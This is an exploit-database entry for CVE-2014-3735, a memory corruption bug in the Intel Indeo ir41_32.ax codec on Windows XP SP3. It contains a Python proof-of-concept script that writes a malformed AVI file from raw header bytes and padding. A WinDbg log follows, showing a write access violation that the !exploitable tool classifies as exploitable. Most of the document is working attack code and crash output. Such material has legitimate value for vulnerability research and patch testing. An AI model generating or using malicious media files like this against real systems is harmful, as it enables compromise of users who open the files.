# Exploit Title: [Intel Ideo video 4.5 ir41_32.ax version 4.51.16.3 Memory Corruption ] # Date: [2014/05/12] # Exploit Author: [Aryan Bayaninejad] # Linkedin : [https://www.linkedin.com/profile/view?id=276969082] # Vendor Homepage: [www.microsoft.com] # Software Link: [http://www.dll4you.com/files/ir41_32.ax.html] # Version: [Version 4.51.16.3] # Tested on: [Windows Xp Sp 3 x86 ] # CVE : [CVE-2014-3735] ------------------------------------ details: ------------------------------------ ir41_32.ax version 4.51.16.3 used in microsoft windows Xp sp3 x86 suffers from an Exploitable memory corruption Vulnerability via a malformed .avi file format when load c:/windows/system32/ir41_32.ax for handle avi header Note: For trigger this issue use of Media Player Classic Or Kmplayer ------------------------------------- Poc: ------------------------------------- header1 = "\x52\x49\x46\x46\xE8\x69\x04\x00\x41\x56\x49\x20\x4C\x49\x53\x54\xC0\x00\x00\x00\x68\x64\x72\x6C\x61\x76\x69\x68\x38\x00\x00\x00\x9B\x6F\x00\x00\x5E\x74\x01\x00\x00\x00\x00\x00\x10\x08\x00\x00\x6E\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x02\x0C\x00\x00\x00\x01\x00\x00\xF0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4C\x49\x53\x54\x74\x00\x00\x00\x73\x74\x72\x6C\x73\x74\x72\x68\x38\x00\x00\x00\x76\x69\x64\x73\x63\x76\x69\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x23\x00\x00\x00\x00\x00\x00\x00\x6E\x00\x00\x00\x02\x0C\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xF0\x00\x73\x74\x72\x66\x1F\x00\x00\x00\x28\x00\x00\x00\x00\x01\x00\x00\xF0\x00\x00\x00\x01\x00\x18\x00\x49\x56\x34\x31\x00\x1C\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4A\x55\x4E\x4B\x18\x07\x00\x00\x00\x00\x00\x00" pattern1 = "A" * 1808 header2 = "\x00\x00\x00\x00\x4C\x49\x53\x54\x08\x5B\x04\x00\x6D\x6F\x76\x69\x30\x30\x64\x62\x72\x07\x00\x00\xF8\xFF\x83\x70\x07\x00\x0E\x0F\x00\x10\x80\x0F\x00\x00\x86\x59\x0C\xE9\x7D\x00\x80\x17\x00\x0D\xE9\x05\x86\x40\x8B\x6C\xC0\xE0\x10\xC2\x53\xF2\xD2\x10\x61\x31\x73\x81\x03\xFE\x77\x1A\x00\x00\x9E\xE7\x79\x9E\xE7\x79\x9E\xE7\x79\x9E\xE7\x79\x9E\xE7\x79\x9E\xE7\x79\x9A\xE7\x79\x9E\xE7\x78\x9E\xE7\x79\x9C\xE7\x38\x9E\xE7\x79\x9E\xE7\x79\x9E\xE7\x79\x9E\xE3\x79\x9E\xC7\x79\x9E\xE7\x79\x9E\xE7\x79\x9E\xE7\x79\x9E\xE7\x79\x9E\xE7\x78\x9E\xE7\x79\x9E\xE7\x79\x9E\xE7\x79\x9E\xE7\x78\x9E\xE7\x69\x9E\xE7\x79\x9A\xE7\x69\x9A\xA7\x69\x9E\xE7\x79\x9E\xE7\x79\x9E\xE7\x79\x9E\xE7\x79\x1E\xE7\x39\x1A\x63\x39\x1E\xE7\x79\x8E\xA7\x58\x9E\x22\x20\x9E\xE7\x79\x9A\xE7\x79\x8E\xA3\x39\x9E\xE7\x79\x9E\xE7\x79\x9E\xE7\x79\x9E\xE7\x79\x9E\xE7\x79\x9E\xE7\x79\x9E\xE7\x79\x0E\xE7\x79\x9E\xE7\x79\x9E\xE7\xF9\xF0\x1C\xCF\x72\x30\xC7\xF2\x3C\xCF\xF3\x3C\xC7\x03\x1C\x0F\x72\x18\xC0\xF3\x3C\xCF\x52\x3C\xCF\x93\x04\x4F\x23\x3C\x4E\x03\x4F\xB8\xEB\xE2\xEC\x98\x90\xED\x80\x97\xC5\xF5\x31\xB7\xCD\xDE\x71\x7C\xC0\x87\x26\x8A\x57\x13\xEF\xF1\x03\x91\x92\x53\x50\xB2\x84\x06\xFB\x11\x77\x6C\x72\xAB\x64\xF0\x9E\x57\xDD\x64\x31\x4F\x5C\xC9\x76\x44\xCA\x16\x0C\x47\xBC\xA8\x89\x65\x62\x70\xE2\xEA\x80\x17\x4E\x5C\x91\x47\xF1\xA1\x18\x94\x38\x62\x9C\xB8\x3A\x60\x97\x25\xE4\xBC\x89\x89\x60\x61\x60\x2D\x64\xD3\x3A\xC6\x22\x8A\x85\x3D\x48\x93\xB3\x20\x45\x6E\x63\xC0\xE6\x86\xE0\x93\xC4\xC8\xD9\x51\xF0\xA2\x78\x13\xC1\xA6\xBC\x22\xBA\x59\x90\x2B\xF6\x22\xEA\xC9\x23\xE1\xA5\x43\xB1\x75\x1F\xF0\x22\x12\xD3\xE2\xBD\x9D\xC4\x31\xD1\xCC\xEC\x04\x23\x43\xDF\xB3\x79\xCC\x0D\xE7\xB2\x71\xC5\x3A\x32\x07\xB2\x0E\x13\xC1\x19\xC1\x75\xC4\x78\xC0\x10\xEC\xD5\xC5\xC2\xD6\x2C\xC5\x56\xC5\x6D\xB3\x17\x6F\x46\xF2\x03\x71\xD6\xAC\x8D\xDC\x86\xDC\x10\xAC\xD5\x2C\x47\x24\x71\x4C\x70\xC5\xCC\xCE\xC0\x47\x3B\x95\x9B\xE2\xFA\x88\xA7\x44\xB1\x3F\xE2\xE9\x31\x6B\x05\x4B\x15\x83\x9C\xF1\xB0\x39\x0B\x52\xD9\x8F\x9A\xA5\x0D\x0A\xD9\x26\xF6\x9A\x70\x0D\x0A\x52\x3E\xC4\x81\x9C\xB3\xB0\xBD\x63\xE6\x8A\x5B\xD6\xC0\xE3\x63\x9E\x2E\x51\x72\x5B\x74\xCA\x56\x0C\x5C\x2B\x4B\xC9\xD5\x31\x1E\x10\x21\x73\x11\xC7\xAC\x39\x18\xE4\xC4\x4D\x61\x37\x51\x64\x61\x71\x75\xC0\xDC\x24\xC1\xCE\x80\x3C\x95\x95\xE2\x8C\xB7\xDC\x76\x31\x74\x33\x14\xB7\xDC\x18\xBC\xE4\x55\xC9\x8D\xF7\x78\xCC\xC6\x3A\x31\x7F\x10\xCE\x82\x34\x78\x75\xC0\xC2\x7B\x82\xC7\xCD\x73\xD9\x8A\x96\x39\x82\x9B\xE6\x9C\x10\xAB\x19\x8A\x6B\x79\x4F\x16\xE7\x35\xF1\xF4\x9E\x54\xA2\x58\xD9\x8A\xBD\xD8\x9A\xEB\xE6\x6C\x62\x1D\x39\x43\x6E\x8F\x39\x33\x09\xD4\x66\x61\xF7\x35\x37\x24\x51\xC4\x18\x5C\x07\x37\xB2\x94\xAC\x5C\x33\x44\x10\x13\xBF\xF1\xFC\x2A\xE6\x91\x6F\x7B\xC8\x4B\xAE\x39\xAB\xE6\x8E\x6B\x0C\x83\xBD\x82\xB3\x63\x92\xA8\xE0\x6D\x85\x3C\x2F\x0E\x82\xCB\x0E\x86\xD3\x7B\x9E\xF2\x9E\xC7\x13\x37\xD1\xEC\xC5\x36\x71\x6D\xF3\xA1\x1B\x3D\x60\xE3\x95\xD1\x6C\xC5\xDD\x01\xD9\xCD\x39\x3B\x6F\xA4\x83\x94\xFC\x40\xDC\x70\x7B\xC0\x7E\xC0\xE2\xC4\x53\x66\x86\x60\x90\x59\x79\xC3\x75\x29\x67\xBC\x65\x93\x3D\xB8\x2A\x31\x08\xB9\x0E\x39\x63\x60\x8F\xA0\x27\x26\x79\xC2\x58\x2F\x87\x18\x96\x89\x27\x9C\xD5\x11\x4F\xF8\xD0\xF9\x32\x3F\x36\x4F\x78\x91\x51\x4A\x66\x34\x77\xB1\x1A\x2C\xAE\xCA\x35\xD9\x3C\x7D\x44\x3C\x62\x2D\x6E\x27\xDE\x1F\x71\x53\xBC\x2A\x42\x79\x7A\xC4\x52\x7C\xA4\xE2\xA5\xDC\x15\x23\xAF\x8E\xC9\x91\x0F\x51\x8C\x3C\x66\x9E\xF8\x18\x45\x14\x1F\x5C\xE6\x90\x8F\x51\x8C\x3C\x66\x0B\x9B\x37\x45\x14\x8F\xAB\xB8\x29\x9E\x16\x51\x3C\x2C\x86\xE2\x8E\xE0\x96\xB9\x78\x49\xD6\x93\x47\xC2\x75\x24\x59\xBC\x27\x8B\x57\x15\xCC\xCA\xF3\x7A\xF2\x48\x08\x5E\x1D\x31\x14\x77\xBC\x28\xBE\xF7\xCD\x6D\x2C\xD1\xF2\x4B\xBC\x38\xE2\x86\xE0\xB2\xA9\x81\x8F\x80\x7C\xCC\x58\xD8\x8C\x91\x8F\x40\xF0\x09\x9B\x25\x06\x3E\x32\x1F\x37\x07\x3C\xE5\x53\x92\x3C\x6E\x66\x07\x3E\x01\xC9\xC7\x8C\x81\xA5\x47\x3E\x02\x1B\x9F\xF6\x94\x37\x11\xBC\x67\xE1\x71\x46\xB3\x36\x1F\x83\x17\x87\x5C\xF7\xC4\xC7\x40\x1E\x46\x90\xC9\x4B\x06\x3E\x78\x73\xC7\x15\xAF\x0C\x9A\x97\x5C\xCB\x79\xF3\x21\x98\x59\x39\x97\x97\xBC\x1A\x82\x2B\x36\xDE\xF6\xC4\x55\xF0\xC5\x22\x46\x79\xB8\x46\xF4\x07\x09\x3E\xF5\xD1\xC8\xE2\xCC\xE7\x8B\xE6\xCD\x6C\x68\xF0\xF1\x1F\xF1\xA6\xF8\x54\x27\x9C\x1E\xF3\x51\x8F\x38\x8B\xE4\xD3\xCD\x3F\xC5\xCC\x67\x35\xF1\x88\x8F\x59\xA3\xAC\xB3\xD3\x07\xE1\x33\x1E\x11\x47\x7C\x8A\x41\x6E\x0E\xF9\x58\x47\x64\xF1\xE9\x6A\xF2\x83\x72\x11\x3C\x2F\xCE\x8A\x4F\x31\xF7\x27\x0F\xE6\xE1\x80\x4F\x53\xE4\x11\xB7\x35\xF2\xF0\x13\xF3\xF1\x8B\xBD\xB8\x1D\x98\xE7\x03\x2E\x42\x54\x3E\x5A\x1C\x72\xC1\x56\x6C\xC5\x65\x1E\x73\xB6\x1C\xF0\xB4\x88\x90\xEB\xE4\xFA\x84\x0F\xA1\xAC\xC5\xC0\x07\x98\xF9\x08\xAC\xCA\x8B\x85\x97\x87\x0C\xC5\xC6\x47\x3B\xE1\xFD\xC0\x50\x6C\x85\xC5\x82\x0C\xC8\x80\xC8\x80\x04\x41\x12\x04\x81\xC8\xC2\xCA\xC2\x40\x22\x1B\x33\x72\x46\x32\x73\x45\xB2\x32\x30\x20\x49\x10\x04\x33\xB2\x20\xC9\x86\xC8\xC0\x5A\x0C\x0C\xBC\x20\x90\x0D\x19\x90\x60\x40\x24\x18\x08\x64\xC0\x62\x61\x60\x8D\x51\x82\x85\xAF\xEF\x30\x84\x7C\x81\x39\xC6\x89\x97\xAC\xCF\x92\xA1\x65\x23\xF8\x66\x5E\xC5\x30\x84\x1E\x46\xF8\x61\x3E\x10\x9F\x6B\x8D\x88\x63\x2E\x48\x6E\x98\x99\x49\x36\x82\x1D\xB9\x62\x27\xD8\x58\xD9\x48\x92\x60\xE1\xA3\xB5\x6C\x2D\x5F\xCA\x3A\xE6\x2E\xA2\xF9\x02\x24\x9F\xE3\x19\x37\xCD\xC7\x3A\x15\x4F\xE5\x8B\xC6\x14\xDC\xF0\x69\x4E\x25\x4E\x7D\xF2\x50\xF8\x14\x07\x87\x5C\xE5\xC4\x27\x6B\x26\x3E\x26\xD7\x27\x7C\xF6\x66\x6E\x3E\x61\x73\x96\x4E\x7C\x76\x1E\xC6\x01\x57\xBC\x8D\x2E\x3E\xA6\xF5\xE4\xA1\x70\x31\xFC\x1E\x1F\x7C\x7E\x76\x92\xCA\x47\x5D\x3E\x2C\xDF\x3B\x8E\x79\x93\x4E\xCA\xFE\x81\x4E\xF8\xA8\xAB\x1F\x9B\xF7\x73\x1E\xBF\x8B\x27\xA7\xC2\x67\x9C\xF9\x00\xBE\xE3\x63\x24\x37\x5C\x07\x03\xE7\xC3\x01\xFB\xE9\x3D\x57\xCD\xA7\x30\x78\xDA\xDC\x9D\x12\xA7\xCC\x56\xF0\xF0\x11\x1F\xE2\x14\x0D\x66\x49\x9E\x36\x73\x73\xCE\x5C\x3C\x3D\x25\x3B\xB8\x2E\x46\x3E\x6E\xB1\x73\xD6\x9C\x37\x4F\x79\x11\x15\x6C\x13\x0F\xB9\xB3\x92\x0F\x3D\x72\xE9\xCC\xD3\x52\x6E\x79\x5F\xD8\x1A\x2C\x11\x13\x59\xF8\x88\xAD\x8B\xAD\xB9\x0C\x43\xDE\xE7\x10\x1F\x94\x41\x16\xE5\x23\x13\x4E\x64\xB1\xF3\x22\xD4\x27\x0F\x84\xAB\xE1\x2B\x71\x36\x10\x1F\x8F\x6F\x51\x93\x7C\xEA\xD5\xE3\x78\xC7\x65\x55\xF0\x29\x57\x4B\x56\xAB\x0E\xF8\x0C\xC9\x27\xD4\xA1\xF8\xF8\x92\x38\xD8\x72\x46\xF3\x71\xCD\xE2\xEA\x48\xEE\x8A\x2C\xD6\x62\xE0\x86\x9D\x8D\x85\xDB\x62\x2B\xCE\x08\xF6\x62\xE6\x8E\xE0\x2B\x87\xC5\xA6\xDC\x71\xCE\x4D\x31\x72\xC8\x8B\x67\x4F\x1E\x09\x2F\x59\x63\x62\x95\x65\xE2\xFC\x88\xB3\xE2\xCC\xE4\x86\x95\x91\xF7\xC5\x56\xBC\x3A\x62\x53\xDE\x90\x0C\xDC\xBE\xE6\x8E\x9D\x2F\xBB\xDD\x2C\xFB\xF1\x3A\x84\x1F\x2A\xB3\x79\xB1\x5E\x9C\x2F\x9F\xCD\x77\xA9\x4F\xB6\x84\xEF\x86\x47\xF2\xA2\x32\xB8\x33\x8B\x1B\x02\x8B\x85\x20\x10\x59\xD8\x19\x08\x44\x06\x02\x91\x20\x90\x40\xBE\x79\x1C\x30\x38\x12\x23\xDB\x47\x24\x1D\xB1\x58\x8A\x4D\x9E\x4B\x14\xC5\x99\x32\xB2\x29\x1B\x0B\x16\x03\x03\x12\x24\x0B\x33\x2B\x12\x2C\x6C\xCC\x2C\x2C\x04\x12\x0C\x24\x81\x04\x12\x48\x10\x24\x03\xF2\x1D\x8E\x78\xCA\xC3\x68\x6E\x26\x16\x4A\x5E\x75\xF0\x34\x3B\xF8\x34\x72\xC5\x2E\x1B\x1B\x03\x03\x22\x0B\xE7\x5C\x71\xCE\xCA\xC0\xCC\xC2\x19\x41\x32\x30\x90\x6C\x04\x03\xC9\x80\x48\x20\x03\x12\x24\x03\x0D\x0A" pattern2= "A" * 1035 data = header1+pattern1+header2+pattern2 outfile = file("poc.avi", 'wb') outfile.write(data) outfile.close() print "Created Poc" ------------------------------------- windbg result: ------------------------------------- 0:005> g ModLoad: 76360000 76370000 C:\WINDOWS\system32\winsta.dll ModLoad: 76fd0000 7704f000 C:\WINDOWS\system32\CLBCATQ.DLL ModLoad: 77050000 77115000 C:\WINDOWS\system32\COMRes.dll ModLoad: 74810000 7497d000 C:\WINDOWS\system32\quartz.dll ModLoad: 75f40000 75f51000 C:\WINDOWS\system32\devenum.dll ModLoad: 77920000 77a13000 C:\WINDOWS\system32\setupapi.dll ModLoad: 76c30000 76c5e000 C:\WINDOWS\system32\WINTRUST.dll ModLoad: 76c90000 76cb8000 C:\WINDOWS\system32\IMAGEHLP.dll ModLoad: 736b0000 736b7000 C:\WINDOWS\system32\msdmo.dll ModLoad: 72d20000 72d29000 C:\WINDOWS\system32\wdmaud.drv ModLoad: 72d20000 72d29000 C:\WINDOWS\system32\wdmaud.drv ModLoad: 72d20000 72d29000 C:\WINDOWS\system32\wdmaud.drv ModLoad: 72d20000 72d29000 C:\WINDOWS\system32\wdmaud.drv ModLoad: 72d20000 72d29000 C:\WINDOWS\system32\wdmaud.drv ModLoad: 72d10000 72d18000 C:\WINDOWS\system32\msacm32.drv ModLoad: 77be0000 77bf5000 C:\WINDOWS\system32\MSACM32.dll ModLoad: 77bd0000 77bd7000 C:\WINDOWS\system32\midimap.dll ModLoad: 02330000 023ab000 C:\Program Files\K-Lite Codec Pack\Filters\LAV\LAVSplitter.ax ModLoad: 6f640000 6f796000 C:\Program Files\K-Lite Codec Pack\Filters\LAV\avformat-lav-55.dll ModLoad: 69f00000 6ab71000 C:\Program Files\K-Lite Codec Pack\Filters\LAV\avcodec-lav-55.dll ModLoad: 6f540000 6f5ba000 C:\Program Files\K-Lite Codec Pack\Filters\LAV\avutil-lav-52.dll ModLoad: 023c0000 023ff000 C:\Program Files\K-Lite Codec Pack\Filters\LAV\libbluray.dll ModLoad: 02510000 0290a000 C:\Program Files\K-Lite Codec Pack\Filters\ffdshow\ffdshow.ax ModLoad: 72280000 722aa000 C:\WINDOWS\system32\DINPUT.dll ModLoad: 4fdd0000 4ff76000 C:\WINDOWS\system32\d3d9.dll ModLoad: 6d990000 6d996000 C:\WINDOWS\system32\d3d8thk.dll ModLoad: 763b0000 763f9000 C:\WINDOWS\system32\COMDLG32.dll ModLoad: 02a30000 02b1a000 C:\Program Files\K-Lite Codec Pack\Filters\LAV\LAVVideo.ax ModLoad: 71100000 7117a000 C:\Program Files\K-Lite Codec Pack\Filters\LAV\swscale-lav-2.dll ModLoad: 6f400000 6f442000 C:\Program Files\K-Lite Codec Pack\Filters\LAV\avfilter-lav-4.dll ModLoad: 02b30000 02ce2000 C:\Program Files\K-Lite Codec Pack\Filters\vsfilter.dll ModLoad: 73760000 737ab000 C:\WINDOWS\system32\DDRAW.dll ModLoad: 73bc0000 73bc6000 C:\WINDOWS\system32\DCIMAN32.dll ModLoad: 73940000 73a10000 C:\WINDOWS\system32\D3DIM700.DLL ModLoad: 580b0000 58188000 C:\WINDOWS\system32\ir41_32.ax (c0c.21c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\ir41_32.ax - eax=04000400 ebx=033e5c40 ecx=0020a008 edx=00000000 esi=00000000 edi=40004000 eip=580ef04c esp=0358f9e0 ebp=0000000d iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 ir41_32!ConfigureDialogProc+0x366c: 580ef04c 8907 mov dword ptr [edi],eax ds:0023:40004000=???????? 0:010> .load winext/msec.dll 0:010> !exploitable !exploitable 1.6.0.0 Exploitability Classification: EXPLOITABLE Recommended Bug Title: Exploitable - User Mode Write AV starting at ir41_32!ConfigureDialogProc+0x000000000000366c (Hash=0x17103451.0x2940d134) User mode write access violations that are not near NULL are exploitable.